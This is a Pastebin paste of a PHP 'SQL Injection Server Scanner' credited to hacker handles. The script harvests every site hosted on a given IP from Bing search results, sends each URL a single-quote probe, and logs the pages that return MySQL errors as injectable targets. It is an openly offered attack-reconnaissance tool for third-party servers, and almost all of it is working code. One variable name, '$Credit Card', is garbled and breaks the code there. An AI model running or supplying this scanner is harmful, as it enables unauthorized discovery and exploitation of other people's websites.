Advertisement
Guest User

Untitled

a guest
Oct 18th, 2019
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.63 KB | None | 0 0
  1. ================================================================================
  2. <?php
  3. @set_time_limit(0);
  4. @error_reporting(E_ALL | E_NOTICE);
  5.  
  6. if(!$argv[1] or !$argv[2]){
  7.  
  8. print_r("
  9. ================================================================================
  10. USAGE : php sql.php [IP] [FILENAME]
  11. Ex : php sql.php 127.0.0.1 sql.txt
  12.  
  13. ================================================================================
  14. ");
  15. die();
  16.  
  17. }
  18.  
  19.  
  20. function check_url($url,$source,$filename){ //modded By Ghost1pm !?
  21. if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch_row()|SELECT * FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$source)) {
  22. echo "[+] Found -> $url\n";
  23. $rr=fopen($filename,"a+");
  24. fwrite($rr,$url."\n");
  25. }
  26. else{ echo "[~] Not Found -> $url\n"; }
  27. }
  28.  
  29. function check_sql_inj($site,$filename2){
  30. $result = @file_get_contents("$site%27");
  31. check_url($site,$result,$filename2);
  32. }
  33.  
  34. function mystripos($haystack, $needle){
  35. return strpos($haystack, stristr( $haystack, $needle ));
  36. }
  37.  
  38. function sec($ent)
  39. {
  40. $bb = str_replace("http://", "", $ent);
  41. $Credit Card = str_replace("www.", "", $bb);
  42. $dd = substr($Credit Card, 0, mystripos($Credit Card, "/"));
  43. return $dd;
  44. }
  45. $npages = 50000;
  46.  
  47. $npage = 1;
  48. $allLinks = array();
  49. $ip = $argv[1];
  50.  
  51. while($npage <= $npages)
  52. {
  53. $ch = curl_init();
  54.  
  55. curl_setopt($ch, CURLOPT_URL, 'http://www.bing.com/search?q=ip%3A' . $ip . '+id=&first=' . $npage);
  56. curl_setopt($ch, CURLOPT_HEADER, 1);
  57. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  58. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  59. curl_setopt($ch, CURLOPT_REFERER, 'http://www.bing.com/');
  60. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
  61.  
  62. $result['EXE'] = curl_exec($ch);
  63. $result['ERR'] = curl_error($ch);
  64.  
  65. curl_close($ch);
  66.  
  67. if ( empty( $result['ERR'] ) )
  68. {
  69. preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)siU', $result['EXE'], $findlink);
  70. for ($i = 0; $i < count($findlink[1]); $i++)
  71. array_push($allLinks,$findlink[1][$i]);
  72.  
  73.  
  74. $npage = $npage + 10;
  75. if (preg_match('(first=' . $npage . '&amp)siU', $result['EXE'], $linksuiv) == 0)
  76. break;
  77. }
  78. else
  79. break;
  80. }
  81.  
  82. $allDmns = array();
  83.  
  84.  
  85.  
  86. foreach ($allLinks as $kk => $vv){
  87. $allDmns[] = $vv;
  88. }
  89. $resultPages = array_unique($allDmns);
  90. sort($resultPages) ;
  91.  
  92. print_r("
  93. ================================================================================
  94. SQL Injection Server Scanner v1.0
  95. ©oded By Lagripe-Dz !?
  96. modded by Ghost1pm a.k.a DarkEth
  97. ALGERIA 2018 ®
  98.  
  99. ================================================================================
  100. ");
  101.  
  102. for ($x = 0; $x < count($resultPages); $x++){
  103. $h3h3 = $resultPages[$x];
  104. check_sql_inj($h3h3,$argv[2]);
  105. }
  106.  
  107. print_r("
  108. ================================================================================
  109. INFO / IP : ".$ip." / Domine ScaNNed : ".count($resultPages)."
  110.  
  111. FINISHED
  112.  
  113. ================================================================================
  114. ");
  115. ?>
  116.  
  117. ================================================================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement